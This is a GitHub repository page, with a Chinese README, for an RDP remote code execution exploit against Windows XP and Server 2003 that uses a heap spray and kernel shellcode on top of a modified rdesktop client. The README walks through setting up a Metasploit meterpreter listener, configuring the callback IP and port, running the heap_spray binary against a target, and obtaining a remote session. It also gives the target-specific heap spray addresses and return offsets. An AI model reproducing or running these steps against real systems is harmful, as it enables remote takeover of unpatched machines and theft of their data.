Skip to content
it works on xp (all version sp2 sp3)
C Roff C++ Shell Assembly M4 Other
Branch: master
Clone or download
fsaf
Latest commit 81df65d Sep 30, 2019
Permalink
Type Name Latest commit message Commit time
Failed to load latest commit information.
rdesktop-1.5.0 first commit Sep 29, 2019
shellcode first commit Sep 29, 2019
1.png update png Sep 30, 2019
README.md update README.md png Sep 30, 2019

README.md

  1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
  2. cd rdesktop-1.5.0 && make
  3. 修改config,配置回连ip和端口 192.168.116.133 6000
  4. 执行 ./heap_spray 192.168.116.134 (134是xp的地址,内存大于等于2G)
  5. msfconsole meterpreter 会得到session

ps: shellcode/shellcode.asm 是内核shellcode源码,编译以后转成二进制,就是rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b文件了,make的时候会直接编译进程序。

目前仅支持xp,需要xp的内存 >= 2G

如果需要支持2003,需要修改heap_spray.c 里面的 HEAP_SPRAY_ADDRESS 宏地址,经过反复测试,这个地址在03的不同系统版本,不同内存大小是不一样的。但是如果要测试 自己的机器的话,是可以成功在03上利用。不具备通用性。

heap_spray.c

#ifdef _2003

#define HEAP_SPRAY_ADDRESS 0x953b09c0 //需要自己去windbg调试堆喷shellcode的地址 如果有朋友找到通用的解决方案欢迎提交issues

#define IcaChannelInputInternal_RET_OFFSET 0x268

#else

#define IcaChannelInputInternal_RET_OFFSET 0x274

#define HEAP_SPRAY_ADDRESS 0x88c969c0

#endif

测试03

  1. 运行 msfconsole meterpreter/multi/handler 监听192.168.116.133:6000
  2. cd rdesktop-1.5.0 && make
  3. 修改config,配置回连ip和端口 192.168.116.133 6000
  4. 执行 ./_2003_heap_spray 192.168.116.135 (135是03的地址,内存大于等于2G)
  5. msfconsole meterpreter 会得到session

login

You can’t perform that action at this time.